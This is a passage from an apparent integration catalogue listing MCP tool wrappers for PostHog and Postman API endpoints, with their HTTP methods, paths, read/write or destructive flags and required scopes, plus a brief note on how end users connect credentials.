partial updates — PUT requires every writable field to be provided. PUT /api/v1/posthog/organizations/{organization_id}/projects/{id}/. Scopes: project:write. posthog_put_api_organizations_by_organization_id_roles_by_id (write) — Replace role via PUT /api/organizations/{organization_id}/roles/{id}/ Role endpoints disclose member records, so they scope them the same way the members list does when the org restricts member list visibility. PUT /api/v1/posthog/organizations/{organization_id}/roles/{id}/. Scopes: organization:write. posthog_put_api_projects_by_project_id_actions_by_id (write) — Replace action via PUT /api/projects/{project_id}/actions/{id}/ PUT /api/v1/posthog/projects/{project_id}/actions/{id}/. Scopes: action:write. posthog_put_api_projects_by_project_id_alerts_by_id (write) — Replace alert via PUT /api/projects/{project_id}/alerts/{id}/ PUT /api/v1/posthog/projects/{project_id}/alerts/{id}/. Scopes: alert:write. posthog_put_api_projects_by_project_id_annotations_by_id (write) — Replace annotation via PUT /api/projects/{project_id}/annotations/{id}/ Create, Read, Update and Delete annotations. [See docs](https://posthog.com/docs/data/annotations) for more information on annotations. PUT /api/v1/posthog/projects/{project_id}/annotations/{id}/. Scopes: annotation:write. posthog_put_api_projects_by_project_id_cohorts_by_id (write) — Replace cohort via PUT /api/projects/{project_id}/cohorts/{id}/ PUT /api/v1/posthog/projects/{project_id}/cohorts/{id}/. Scopes: cohort:write. posthog_put_api_projects_by_project_id_comments_by_id (write) — Replace comment via PUT /api/projects/{project_id}/comments/{id}/ PUT /api/v1/posthog/projects/{project_id}/comments/{id}/. Scopes: comment:write. posthog_put_api_projects_by_project_id_dashboard_templates_by_id (write) — Replace dashboard template via PUT /api/projects/{project_id}/dashboard_templates/{id}/ PUT /api/v1/posthog/projects/{project_id}/dashboard_templates/{id}/. Scopes: dashboard_template:write. posthog_put_api_projects_by_project_id_dashboards_by_id (write) — Replace dashboard via PUT /api/projects/{project_id}/dashboards/{id}/ PUT /api/v1/posthog/projects/{project_id}/dashboards/{id}/. Scopes: dashboard:write. posthog_put_api_projects_by_project_id_early_access_feature_by_id (write) — Replace early access feature via PUT /api/projects/{project_id}/early_access_feature/{id}/ PUT /api/v1/posthog/projects/{project_id}/early_access_feature/{id}/. Scopes: early_access_feature:write. posthog_put_api_projects_by_project_id_event_definitions_by_id (write) — Replace event definition via PUT /api/projects/{project_id}/event_definitions/{id}/ PUT /api/v1/posthog/projects/{project_id}/event_definitions/{id}/. Scopes: event_definition:write. posthog_put_api_projects_by_project_id_experiment_holdouts_by_id (write) — Replace experiment holdout via PUT /api/projects/{project_id}/experiment_holdouts/{id}/ PUT /api/v1/posthog/projects/{project_id}/experiment_holdouts/{id}/. Scopes: experiment_holdout:write. posthog_put_api_projects_by_project_id_experiment_saved_metrics_by_id (write) — Replace experiment saved metric via PUT /api/projects/{project_id}/experiment_saved_metrics/{id}/ PUT /api/v1/posthog/projects/{project_id}/experiment_saved_metrics/{id}/. Scopes: experiment_saved_metric:write. posthog_put_api_projects_by_project_id_experiments_by_id (write) — Replace experiment via PUT /api/projects/{project_id}/experiments/{id}/ Mixin for ViewSets to handle approval-gate exceptions raised from decorated serializers. Intercepts ApprovalRequired (409) and PolicyConflict (400) raised by the @approval_gate decorator on serializer methods and converts them into the... PUT /api/v1/posthog/projects/{project_id}/experiments/{id}/. Scopes: experiment:write. posthog_put_api_projects_by_project_id_feature_flags_by_id (write) — Replace feature flag via PUT /api/projects/{project_id}/feature_flags/{id}/ Create, read, update and delete feature flags. [See docs](https://posthog.com/docs/feature-flags) for more information on feature flags. If you're looking to use feature flags on your application, you can either use our JavaScript Library... PUT /api/v1/posthog/projects/{project_id}/feature_flags/{id}/. Scopes: feature_flag:write. posthog_put_api_projects_by_project_id_groups_types_by_group_type_index_metrics_by_id (write) — Replace group type metric via PUT /api/projects/{project_id}/groups_types/{group_type_index}/metrics/{id}/ PUT /api/v1/posthog/projects/{project_id}/groups_types/{group_type_index}/metrics/{id}/. Scopes: usage_metric:write. posthog_put_api_projects_by_project_id_insight_variables_by_id (write) — Replace insight variable via PUT /api/projects/{project_id}/insight_variables/{id}/ PUT /api/v1/posthog/projects/{project_id}/insight_variables/{id}/. Scopes: insight_variable:write. posthog_put_api_projects_by_project_id_insights_by_id (write) — Replace insight via PUT /api/projects/{project_id}/insights/{id}/ DRF ViewSet mixin that gates coalesced responses behind permission checks. The QueryCoalescingMiddleware attaches cached response data to request.META["_coalesced_response"] for followers. This mixin runs DRF's initial() (auth +... PUT /api/v1/posthog/projects/{project_id}/insights/{id}/. Scopes: insight:write. posthog_put_api_projects_by_project_id_persons_by_id (write) — Replace person via PUT /api/projects/{project_id}/persons/{id}/ Only for setting properties on the person. "properties" from the request data will be updated via a "$set" event. This means that only the properties listed will be updated, but other properties won't be removed nor updated. If you would... PUT /api/v1/posthog/projects/{project_id}/persons/{id}/. Scopes: person:write. posthog_put_api_projects_by_project_id_property_definitions_by_id (write) — Replace property definition via PUT /api/projects/{project_id}/property_definitions/{id}/ PUT /api/v1/posthog/projects/{project_id}/property_definitions/{id}/. Scopes: property_definition:write. posthog_put_api_projects_by_project_id_session_recording_playlists_by_short_id (write) — Replace session recording playlist via PUT /api/projects/{project_id}/session_recording_playlists/{short_id}/ PUT /api/v1/posthog/projects/{project_id}/session_recording_playlists/{short_id}/. Scopes: session_recording_playlist:write. posthog_put_api_projects_by_project_id_session_recordings_by_id (write) — Replace session recording via PUT /api/projects/{project_id}/session_recordings/{id}/ PUT /api/v1/posthog/projects/{project_id}/session_recordings/{id}/. Scopes: session_recording:write. posthog_put_api_projects_by_project_id_subscriptions_by_id (write) — Replace subscription via PUT /api/projects/{project_id}/subscriptions/{id}/ PUT /api/v1/posthog/projects/{project_id}/subscriptions/{id}/. Scopes: subscription:write. posthog_put_api_projects_by_project_id_surveys_by_id (write) — Replace survey via PUT /api/projects/{project_id}/surveys/{id}/ PUT /api/v1/posthog/projects/{project_id}/surveys/{id}/. Scopes: survey:write. ================================================================================ ## Postman URL: https://www.agenticfabriq.com/integrations/postman Section: Integrated Tools Postman — 258 MCP tools Provider key: postman. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. postman_delete_api_catalog_system_environments_by_systemenvironmentid_associations (write, destructive) — Remove system environment associations via DELETE /api-catalog/system-environments/{systemEnvironmentId}/associations DELETE /api/v1/postman/api-catalog/system-environments/{systemEnvironmentId}/associations. Scopes: api. postman_delete_apis_by_apiid (write, destructive) — Delete an API via DELETE /apis/{apiId} DELETE /api/v1/postman/apis/{apiId}. Scopes: api. postman_delete_apis_by_apiid_collections_by_collectionid_comments_by_commentid (write, destructive) — Delete a collection's comment via DELETE /apis/{apiId}/collections/{collectionId}/comments/{commentId} DELETE /api/v1/postman/apis/{apiId}/collections/{collectionId}/comments/{commentId}. Scopes: api. postman_delete_apis_by_apiid_comments_by_commentid (write, destructive) — Delete an API's comment via DELETE /apis/{apiId}/comments/{commentId} DELETE /api/v1/postman/apis/{apiId}/comments/{commentId}. Scopes: api. postman_delete_apis_by_apiid_schemas_by_schemaid_files_by_file_path (write, destructive) — Delete a schema file via DELETE /apis/{apiId}/schemas/{schemaId}/files/{file-path} DELETE /api/v1/postman/apis/{apiId}/schemas/{schemaId}/files/{file_path}. Scopes: api. postman_delete_apis_by_apiid_versions_by_versionid (write, destructive) — Delete a version via DELETE /apis/{apiId}/versions/{versionId} DELETE /api/v1/postman/apis/{apiId}/versions/{versionId}. Scopes: api. postman_delete_collection_access_keys_by_keyid (write, destructive) — Delete a collection access key via DELETE /collection-access-keys/{keyId} DELETE /api/v1/postman/collection-access-keys/{keyId}. Scopes: api. postman_delete_collections_by_collectionid (write, destructive) — Delete a collection via DELETE /collections/{collectionId} DELETE /api/v1/postman/collections/{collectionId}. Scopes: api. postman_delete_collections_by_collectionid_comments_by_commentid (write, destructive) — Delete a collection's comment via DELETE /collections/{collectionId}/comments/{commentId} DELETE /api/v1/postman/collections/{collectionId}/comments/{commentId}. Scopes: api. postman_delete_collections_by_collectionid_folders_by_folderid (write, destructive) — Delete a folder via DELETE /collections/{collectionId}/folders/{folderId} DELETE /api/v1/postman/collections/{collectionId}/folders/{folderId}. Scopes: api. postman_delete_collections_by_collectionid_folders_by_folderid_comments_by_commentid (write, destructive) — Delete a folder's comment via DELETE /collections/{collectionId}/folders/{folderId}/comments/{commentId} DELETE /api/v1/postman/collections/{collectionId}/folders/{folderId}/comments/{commentId}. Scopes: api. postman_delete_collections_by_collectionid_public_documentations (write, destructive) — Unpublish documentation via DELETE /collections/{collectionId}/public-documentations DELETE /api/v1/postman/collections/{collectionId}/public-documentations. Scopes: api. postman_delete_collections_by_collectionid_requests_by_requestid (write, destructive) — Delete a request via DELETE /collections/{collectionId}/requests/{requestId} DELETE /api/v1/postman/collections/{collectionId}/requests/{requestId}. Scopes: api. postman_delete_collections_by_collectionid_requests_by_requestid_comments_by_commentid (write, destructive) — Delete a request's comment via DELETE /collections/{collectionId}/requests/{requestId}/comments/{commentId} DELETE /api/v1/postman/collections/{collectionId}/requests/{requestId}/comments/{commentId}. Scopes: api. postman_delete_collections_by_collectionid_responses_by_responseid (write, destructive) — Delete a response via DELETE /collections/{collectionId}/responses/{responseId} DELETE /api/v1/postman/collections/{collectionId}/responses/{responseId}. Scopes: api. postman_delete_collections_by_collectionid_responses_by_responseid_comments_by_commentid (write, destructive) — Delete a response's comment via DELETE /collections/{collectionId}/responses/{responseId}/comments/{commentId} DELETE /api/v1/postman/collections/{collectionId}/responses/{responseId}/comments/{commentId}. Scopes: api. postman_delete_environments_by_environmentid (write, destructive) — Delete an environment via DELETE /environments/{environmentId} DELETE /api/v1/postman/environments/{environmentId}. Scopes: api. postman_delete_mocks_by_mockid (write, destructive) — Delete a mock server via DELETE /mocks/{mockId} DELETE /api/v1/postman/mocks/{mockId}. Scopes: api. postman_delete_mocks_by_mockid_server_responses_by_serverresponseid (write, destructive) — Delete a server response via DELETE /mocks/{mockId}/server-responses/{serverResponseId} DELETE /api/v1/postman/mocks/{mockId}/server-responses/{serverResponseId}. Scopes: api. postman_delete_mocks_by_mockid_unpublish (write, destructive) — Unpublish a mock server via DELETE /mocks/{mockId}/unpublish DELETE /api/v1/postman/mocks/{mockId}/unpublish. Scopes: api. postman_delete_monitors_by_monitorid (write, destructive) — Delete a monitor via DELETE /monitors/{monitorId} DELETE /api/v1/postman/monitors/{monitorId}. Scopes: api. postman_delete_network_private_workspace_by_workspaceid (write, destructive) — Remove a workspace via DELETE /network/private/workspace/{workspaceId} DELETE /api/v1/postman/network/private/workspace/{workspaceId}. Scopes: api. postman_delete_packages_by_packageid (write, destructive) — Delete a package via DELETE /packages/{packageId} DELETE /api/v1/postman/packages/{packageId}. Scopes: api. postman_delete_scim_v2_groups_by_groupid (write, destructive) — Delete a group via DELETE /scim/v2/Groups/{groupId} DELETE /api/v1/postman/scim/v2/Groups/{groupId}. Scopes: api. postman_delete_sdks_by_sdkid (write, destructive) — Delete an SDK via DELETE /sdks/{sdkId} DELETE /api/v1/postman/sdks/{sdkId}. Scopes: api. postman_delete_specs_by_specid (write, destructive) — Delete a spec via DELETE /specs/{specId} DELETE /api/v1/postman/specs/{specId}. Scopes: api. postman_delete_specs_by_specid_files_by_filepath (write, destructive) — Delete a spec file via DELETE /specs/{specId}/files/{filePath} DELETE /api/v1/postman/specs/{specId}/files/{filePath}. Scopes: api. postman_delete_teams_by_teamid_bulk_members (write, destructive) — Remove team members via DELETE /teams/{teamId}/bulk-members DELETE /api/v1/postman/teams/{teamId}/bulk-members. Scopes: api. postman_delete_workspaces_by_workspaceid (write, destructive) — Delete a workspace via DELETE /workspaces/{workspaceId} DELETE /api/v1/postman/workspaces/{workspaceId}. Scopes: api. postman_delete_workspaces_by_workspaceid_updates_by_updateid (write, destructive) — Delete a workspace update via DELETE /workspaces/{workspaceId}/updates/{updateId} DELETE /api/v1/postman/workspaces/{workspaceId}/updates/{updateId}. Scopes: api. postman_get_accounts (read) — Get accounts via GET /accounts GET /api/v1/postman/accounts. Scopes: api. postman_get_accounts_by_accountid_invoices (read) — List account invoices via GET /accounts/{accountId}/invoices GET /api/v1/postman/accounts/{accountId}/invoices. Scopes: api. postman_get_analytics (read) — Get analytics data via GET /analytics GET /api/v1/postman/analytics. Scopes: api. postman_get_analytics_metadata (read) — Get analytics metadata via GET /analytics-metadata GET /api/v1/postman/analytics-metadata. Scopes: api. postman_get_api_catalog_discovery_services (read) — Get discovered services via GET /api-catalog/discovery-services GET /api/v1/postman/api-catalog/discovery-services. Scopes: api. postman_get_api_catalog_discovery_services_by_serviceid (read) — Get a discovered service's information via GET /api-catalog/discovery-services/{serviceId} GET /api/v1/postman/api-catalog/discovery-services/{serviceId}. Scopes: api. postman_get_api_catalog_services (read) — Get all services via GET /api-catalog/services GET /api/v1/postman/api-catalog/services. Scopes: api. postman_get_api_catalog_services_by_serviceid (read) — Get a service by ID via GET /api-catalog/services/{serviceId} GET /api/v1/postman/api-catalog/services/{serviceId}. Scopes: api. postman_get_api_catalog_services_by_serviceid_ci_runs (read) — Get a service's CI runs via GET /api-catalog/services/{serviceId}/ci-runs GET /api/v1/postman/api-catalog/services/{serviceId}/ci-runs. Scopes: api. postman_get_api_catalog_services_by_serviceid_endpoints (read) — Get a service's endpoints via GET /api-catalog/services/{serviceId}/endpoints GET /api/v1/postman/api-catalog/services/{serviceId}/endpoints. Scopes: api. postman_get_api_catalog_services_by_serviceid_monitor_runs (read) — Get a service's monitor runs via GET /api-catalog/services/{serviceId}/monitor-runs GET /api/v1/postman/api-catalog/services/{serviceId}/monitor-runs. Scopes: api. postman_get_api_catalog_services_by_serviceid_spec_lints (read) — Get a service's specification lints via GET /api-catalog/services/{serviceId}/spec-lints GET /api/v1/postman/api-catalog/services/{serviceId}/spec-lints. Scopes: api. postman_get_api_catalog_system_environments (read) — Get all system environments via GET /api-catalog/system-environments GET /api/v1/postman/api-catalog/system-environments. Scopes: api. postman_get_api_catalog_system_environments_by_systemenvironmentid (read) — Get a system environment via GET /api-catalog/system-environments/{systemEnvironmentId} GET /api/v1/postman/api-catalog/system-environments/{systemEnvironmentId}. Scopes: api. postman_get_api_catalog_system_environments_by_systemenvironmentid_associations (read) — Get a system environment's associations via GET /api-catalog/system-environments/{systemEnvironmentId}/associations GET /api/v1/postman/api-catalog/system-environments/{systemEnvironmentId}/associations. Scopes: api. postman_get_apis (read) — Get all APIs via GET /apis GET /api/v1/postman/apis. Scopes: api. postman_get_apis_by_apiid (read) — Get an API via GET /apis/{apiId} GET /api/v1/postman/apis/{apiId}. Scopes: api. postman_get_apis_by_apiid_collections_by_collectionid (read) — Get a collection via GET /apis/{apiId}/collections/{collectionId} GET /api/v1/postman/apis/{apiId}/collections/{collectionId}. Scopes: api. postman_get_apis_by_apiid_collections_by_collectionid_comments (read) — Get a collection's comments via GET /apis/{apiId}/collections/{collectionId}/comments GET /api/v1/postman/apis/{apiId}/collections/{collectionId}/comments. Scopes: api. postman_get_apis_by_apiid_comments (read) — Get an API's comments via GET /apis/{apiId}/comments GET /api/v1/postman/apis/{apiId}/comments. Scopes: api. postman_get_apis_by_apiid_schemas_by_schemaid (read) — Get a schema via GET /apis/{apiId}/schemas/{schemaId} GET /api/v1/postman/apis/{apiId}/schemas/{schemaId}. Scopes: api. postman_get_apis_by_apiid_schemas_by_schemaid_files (read) — Get schema files via GET /apis/{apiId}/schemas/{schemaId}/files GET /api/v1/postman/apis/{apiId}/schemas/{schemaId}/files. Scopes: api. postman_get_apis_by_apiid_schemas_by_schemaid_files_by_file_path (read) — Get schema file contents via GET /apis/{apiId}/schemas/{schemaId}/files/{file-path} GET /api/v1/postman/apis/{apiId}/schemas/{schemaId}/files/{file_path}. Scopes: api. postman_get_apis_by_apiid_spec_migrations (read) — Get status of API Builder to Spec Hub migration via GET /apis/{apiId}/spec-migrations GET /api/v1/postman/apis/{apiId}/spec-migrations. Scopes: api. postman_get_apis_by_apiid_tags (read) — Get an API's tags via GET /apis/{apiId}/tags GET /api/v1/postman/apis/{apiId}/tags. Scopes: api. postman_get_apis_by_apiid_tasks_by_taskid (read) — Get status of an asynchronous task via GET /apis/{apiId}/tasks/{taskId} GET /api/v1/postman/apis/{apiId}/tasks/{taskId}. Scopes: api. postman_get_apis_by_apiid_versions (read) — Get all versions via GET /apis/{apiId}/versions GET /api/v1/postman/apis/{apiId}/versions. Scopes: api. postman_get_apis_by_apiid_versions_by_versionid (read) — Get a version via GET /apis/{apiId}/versions/{versionId} GET /api/v1/postman/apis/{apiId}/versions/{versionId}. Scopes: api. postman_get_audit_actions (read) — Get all audit log event actions via GET /audit-actions GET /api/v1/postman/audit-actions. Scopes: api. postman_get_audit_logs (read) — Get team audit logs via GET /audit/logs GET /api/v1/postman/audit/logs. Scopes: api. postman_get_by_elementtype_by_elementid_tasks_by_taskid (read) — Get status of an async spec task via GET /{elementType}/{elementId}/tasks/{taskId} GET /api/v1/postman/{elementType}/{elementId}/tasks/{taskId}. Scopes: api. postman_get_collection_access_keys (read) — Get collection access keys via GET /collection-access-keys GET /api/v1/postman/collection-access-keys. Scopes: api. postman_get_collection_duplicate_tasks_by_taskid (read) — Get duplication task status via GET /collection-duplicate-tasks/{taskId} GET /api/v1/postman/collection-duplicate-tasks/{taskId}. Scopes: api. postman_get_collection_merges_tasks_by_taskid (read) — Get merge or pull task status via GET /collection-merges-tasks/{taskId} GET /api/v1/postman/collection-merges-tasks/{taskId}. Scopes: api. postman_get_collection_updates_tasks_by_taskid (read) — Get async collection update status via GET /collection-updates-tasks/{taskId} GET /api/v1/postman/collection-updates-tasks/{taskId}. Scopes: api. postman_get_collections (read) — Get all collections via GET /collections GET /api/v1/postman/collections. Scopes: api. postman_get_collections_by_collectionid (read) — Get a collection via GET /collections/{collectionId} GET /api/v1/postman/collections/{collectionId}. Scopes: api. postman_get_collections_by_collectionid_comments (read) — Get a collection's comments via GET /collections/{collectionId}/comments GET /api/v1/postman/collections/{collectionId}/comments. Scopes: api. postman_get_collections_by_collectionid_folders_by_folderid (read) — Get a folder via GET /collections/{collectionId}/folders/{folderId} GET /api/v1/postman/collections/{collectionId}/folders/{folderId}. Scopes: api. postman_get_collections_by_collectionid_folders_by_folderid_comments (read) — Get a folder's comments via GET /collections/{collectionId}/folders/{folderId}/comments GET /api/v1/postman/collections/{collectionId}/folders/{folderId}/comments. Scopes: api. postman_get_collections_by_collectionid_forks (read) — Get a collection's forks via GET /collections/{collectionId}/forks GET /api/v1/postman/collections/{collectionId}/forks. Scopes: api. postman_get_collections_by_collectionid_pull_requests (read) — Get a collection's pull requests via GET /collections/{collectionId}/pull-requests GET /api/v1/postman/collections/{collectionId}/pull-requests. Scopes: api. postman_get_collections_by_collectionid_requests_by_requestid (read) — Get a request via GET /collections/{collectionId}/requests/{requestId} GET /api/v1/postman/collections/{collectionId}/requests/{requestId}. Scopes: api. postman_get_collections_by_collectionid_requests_by_requestid_comments (read) — Get a request's comments via GET /collections/{collectionId}/requests/{requestId}/comments GET /api/v1/postman/collections/{collectionId}/requests/{requestId}/comments. Scopes: api. postman_get_collections_by_collectionid_responses_by_responseid (read) — Get a response via GET /collections/{collectionId}/responses/{responseId} GET /api/v1/postman/collections/{collectionId}/responses/{responseId}. Scopes: api. postman_get_collections_by_collectionid_responses_by_responseid_comments (read) — Get a response's comments via GET /collections/{collectionId}/responses/{responseId}/comments GET /api/v1/postman/collections/{collectionId}/responses/{responseId}/comments. Scopes: api. postman_get_collections_by_collectionid_roles (read) — Get a collection's roles via GET /collections/{collectionId}/roles GET /api/v1/postman/collections/{collectionId}/roles. Scopes: api. postman_get_collections_by_collectionid_source_status (read) — Get source collection's status via GET /collections/{collectionId}/source-status GET /api/v1/postman/collections/{collectionId}/source-status. Scopes: api. postman_get_collections_by_collectionid_tags (read) — Get a collection's tags via GET /collections/{collectionId}/tags GET /api/v1/postman/collections/{collectionId}/tags. Scopes: api. postman_get_collections_by_collectionid_transformations (read) — Transform collection to OpenAPI via GET /collections/{collectionId}/transformations GET /api/v1/postman/collections/{collectionId}/transformations. Scopes: api. postman_get_collections_by_collectionuid_generations_by_elementtype (read) — Get generated spec via GET /collections/{collectionUid}/generations/{elementType} GET /api/v1/postman/collections/{collectionUid}/generations/{elementType}. Scopes: api. postman_get_collections_collection_forks (read) — Get all forked collections via GET /collections/collection-forks GET /api/v1/postman/collections/collection-forks. Scopes: api. postman_get_components (read) — Get all components via GET /components GET /api/v1/postman/components. Scopes: api. postman_get_components_by_componentid (read) — Get a component via GET /components/{componentId} GET /api/v1/postman/components/{componentId}. Scopes: api. postman_get_components_by_componentid_drafts (read) — Get a component draft via GET /components/{componentId}/drafts GET /api/v1/postman/components/{componentId}/drafts. Scopes: api. postman_get_components_by_componentid_versions (read) — Get all component versions via GET /components/{componentId}/versions GET /api/v1/postman/components/{componentId}/versions. Scopes: api. postman_get_components_by_componentid_versions_by_versionid (read) — Get a component version via GET /components/{componentId}/versions/{versionId} GET /api/v1/postman/components/{componentId}/versions/{versionId}. Scopes: api. postman_get_detected_secrets_by_secretid_locations (read) — Get detected secrets locations via GET /detected-secrets/{secretId}/locations GET /api/v1/postman/detected-secrets/{secretId}/locations. Scopes: api. postman_get_environments (read) — Get all environments via GET /environments GET /api/v1/postman/environments. Scopes: api. postman_get_environments_by_environmentid (read) — Get an environment via GET /environments/{environmentId} GET /api/v1/postman/environments/{environmentId}. Scopes: api. postman_get_environments_by_environmentid_forks (read) — Get an environment's forks via GET /environments/{environmentId}/forks GET /api/v1/postman/environments/{environmentId}/forks. Scopes: api. postman_get_groups (read) — Get all groups via GET /groups GET /api/v1/postman/groups. Scopes: api. postman_get_groups_by_groupid (read) — Get a group via GET /groups/{groupId} GET /api/v1/postman/groups/{groupId}. Scopes: api. postman_get_me (read) — Get authenticated user via GET /me GET /api/v1/postman/me. Scopes: api. postman_get_mocks (read) — Get all mock servers via GET /mocks GET /api/v1/postman/mocks. Scopes: api. postman_get_mocks_by_mockid (read) — Get a mock server via GET /mocks/{mockId} GET /api/v1/postman/mocks/{mockId}. Scopes: api. postman_get_mocks_by_mockid_call_logs (read) — Get a mock server's call logs via GET /mocks/{mockId}/call-logs GET /api/v1/postman/mocks/{mockId}/call-logs. Scopes: api. postman_get_mocks_by_mockid_server_responses (read) — Get all server responses via GET /mocks/{mockId}/server-responses GET /api/v1/postman/mocks/{mockId}/server-responses. Scopes: api. postman_get_mocks_by_mockid_server_responses_by_serverresponseid (read) — Get a server response via GET /mocks/{mockId}/server-responses/{serverResponseId} GET /api/v1/postman/mocks/{mockId}/server-responses/{serverResponseId}. Scopes: api. postman_get_monitors (read) — Get all monitors via GET /monitors GET /api/v1/postman/monitors. Scopes: api. postman_get_monitors_by_monitorid (read) — Get a monitor via GET /monitors/{monitorId} GET /api/v1/postman/monitors/{monitorId}. Scopes: api. postman_get_network_private (read) — Get all workspaces via GET /network/private GET /api/v1/postman/network/private. Scopes: api. postman_get_network_private_network_entity_request_all (read) — Get all add requests via GET /network/private/network-entity/request/all GET /api/v1/postman/network/private/network-entity/request/all. Scopes: api. postman_get_packages (read) — Get all packages via GET /packages GET /api/v1/postman/packages. Scopes: api. postman_get_packages_by_packageid (read) — Get a package via GET /packages/{packageId} GET /api/v1/postman/packages/{packageId}. Scopes: api. postman_get_pull_requests_by_pullrequestid (read) — Get a pull request via GET /pull-requests/{pullRequestId} GET /api/v1/postman/pull-requests/{pullRequestId}. Scopes: api. postman_get_runners_by_runnerid_instances (read) — Get all runner instances via GET /runners/{runnerId}/instances GET /api/v1/postman/runners/{runnerId}/instances. Scopes: api. postman_get_runners_by_runnerid_metrics (read) — Get runner metrics via GET /runners/{runnerId}/metrics GET /api/v1/postman/runners/{runnerId}/metrics. Scopes: api. postman_get_scim_v2_groups (read) — Get all groups via GET /scim/v2/Groups GET /api/v1/postman/scim/v2/Groups. Scopes: api. postman_get_scim_v2_groups_by_groupid (read) — Get a group via GET /scim/v2/Groups/{groupId} GET /api/v1/postman/scim/v2/Groups/{groupId}. Scopes: api. postman_get_scim_v2_resourcetypes (read) — Get resource types via GET /scim/v2/ResourceTypes GET /api/v1/postman/scim/v2/ResourceTypes. Scopes: api. postman_get_scim_v2_serviceproviderconfig (read) — Get service provider configuration via GET /scim/v2/ServiceProviderConfig GET /api/v1/postman/scim/v2/ServiceProviderConfig. Scopes: api. postman_get_scim_v2_users (read) — Get all users via GET /scim/v2/Users GET /api/v1/postman/scim/v2/Users. Scopes: api. postman_get_scim_v2_users_by_userid (read) — Get a user via GET /scim/v2/Users/{userId} GET /api/v1/postman/scim/v2/Users/{userId}. Scopes: api. postman_get_sdk_git_connections (read) — Get all SDK Git connections via GET /sdk-git-connections GET /api/v1/postman/sdk-git-connections. Scopes: api. postman_get_sdk_git_connections_by_sdkgitconnectionid (read) — Get an SDK Git connection via GET /sdk-git-connections/{sdkGitConnectionId} GET /api/v1/postman/sdk-git-connections/{sdkGitConnectionId}. Scopes: api. postman_get_sdk_git_connections_by_sdkgitconnectionid_pull_requests (read) — Get an SDK Git connection's pull requests via GET /sdk-git-connections/{sdkGitConnectionId}/pull-requests GET /api/v1/postman/sdk-git-connections/{sdkGitConnectionId}/pull-requests. Scopes: api. postman_get_sdks (read) — Get all SDKs via GET /sdks GET /api/v1/postman/sdks. Scopes: api. postman_get_sdks_by_sdkid (read) — Get an SDK via GET /sdks/{sdkId} GET /api/v1/postman/sdks/{sdkId}. Scopes: api. postman_get_sdks_by_sdkid_downloads (read) — Get an SDK's download URL via GET /sdks/{sdkId}/downloads GET /api/v1/postman/sdks/{sdkId}/downloads. Scopes: api. postman_get_secret_types (read) — Get secret types via GET /secret-types GET /api/v1/postman/secret-types. Scopes: api. postman_get_specs (read) — Get all specs via GET /specs GET /api/v1/postman/specs. Scopes: api. postman_get_specs_by_specid (read) — Get a spec via GET /specs/{specId} GET /api/v1/postman/specs/{specId}. Scopes: api. postman_get_specs_by_specid_definitions (read) — Get a spec's definition via GET /specs/{specId}/definitions GET /api/v1/postman/specs/{specId}/definitions. Scopes: api. postman_get_specs_by_specid_files (read) — Get a spec's files via GET /specs/{specId}/files GET /api/v1/postman/specs/{specId}/files. Scopes: api. postman_get_specs_by_specid_files_by_filepath (read) — Get a spec file via GET /specs/{specId}/files/{filePath} GET /api/v1/postman/specs/{specId}/files/{filePath}. Scopes: api. postman_get_specs_by_specid_generations_by_elementtype (read) — Get a spec's generated collections via GET /specs/{specId}/generations/{elementType} GET /api/v1/postman/specs/{specId}/generations/{elementType}. Scopes: api. postman_get_specs_by_specid_version_tags (read) — Get a specification's version tags via GET /specs/{specId}/version-tags GET /api/v1/postman/specs/{specId}/version-tags. Scopes: api. postman_get_specs_by_specid_version_tags_by_tagid_files (read) — Get a version tag via GET /specs/{specId}/version-tags/{tagId}/files GET /api/v1/postman/specs/{specId}/version-tags/{tagId}/files. Scopes: api. postman_get_tags_by_slug_entities (read) — Get elements by tag via GET /tags/{slug}/entities GET /api/v1/postman/tags/{slug}/entities. Scopes: api. postman_get_teams (read) — Get all teams via GET /teams GET /api/v1/postman/teams. Scopes: api. postman_get_teams_by_teamid (read) — Get a team via GET /teams/{teamId} GET /api/v1/postman/teams/{teamId}. Scopes: api. postman_get_teams_by_teamid_access_requests (read) — Get a team's access requests via GET /teams/{teamId}/access-requests GET /api/v1/postman/teams/{teamId}/access-requests. Scopes: api. postman_get_teams_by_teamid_settings (read) — Get a team's settings via GET /teams/{teamId}/settings GET /api/v1/postman/teams/{teamId}/settings. Scopes: api. postman_get_users (read) — Get all team users via GET /users GET /api/v1/postman/users. Scopes: api. postman_get_users_by_userid (read) — Get a team user via GET /users/{userId} GET /api/v1/postman/users/{userId}. Scopes: api. postman_get_workspaces (read) — Get all workspaces via GET /workspaces GET /api/v1/postman/workspaces. Scopes: api. postman_get_workspaces_by_workspaceid (read) — Get a workspace via GET /workspaces/{workspaceId} GET /api/v1/postman/workspaces/{workspaceId}. Scopes: api. postman_get_workspaces_by_workspaceid_activities (read) — Get a workspace's activity feed via GET /workspaces/{workspaceId}/activities GET /api/v1/postman/workspaces/{workspaceId}/activities. Scopes: api. postman_get_workspaces_by_workspaceid_global_variables (read) — Get global variables via GET /workspaces/{workspaceId}/global-variables GET /api/v1/postman/workspaces/{workspaceId}/global-variables. Scopes: api. postman_get_workspaces_by_workspaceid_roles (read) — Get a workspace's roles via GET /workspaces/{workspaceId}/roles GET /api/v1/postman/workspaces/{workspaceId}/roles. Scopes: api. postman_get_workspaces_by_workspaceid_tags (read) — Get a workspace's tags via GET /workspaces/{workspaceId}/tags GET /api/v1/postman/workspaces/{workspaceId}/tags. Scopes: api. postman_get_workspaces_by_workspaceid_updates (read) — Get all workspace updates via GET /workspaces/{workspaceId}/updates GET /api/v1/postman/workspaces/{workspaceId}/updates. Scopes: api. postman_get_workspaces_by_workspaceid_updates_by_updateid (read) — Get a workspace update via GET /workspaces/{workspaceId}/updates/{updateId} GET /api/v1/postman/workspaces/{workspaceId}/updates/{updateId}. Scopes: api. postman_get_workspaces_roles (read) — Get all roles via GET /workspaces-roles GET /api/v1/postman/workspaces-roles. Scopes: api. postman_patch_api_catalog_system_environments_by_systemenvironmentid (write) — Update a system environment via PATCH /api-catalog/system-environments/{systemEnvironmentId} PATCH /api/v1/postman/api-catalog/system-environments/{systemEnvironmentId}. Scopes: api. postman_patch_collections_by_collectionid (write) — Update part of a collection via PATCH /collections/{collectionId} PATCH /api/v1/postman/collections/{collectionId}. Scopes: 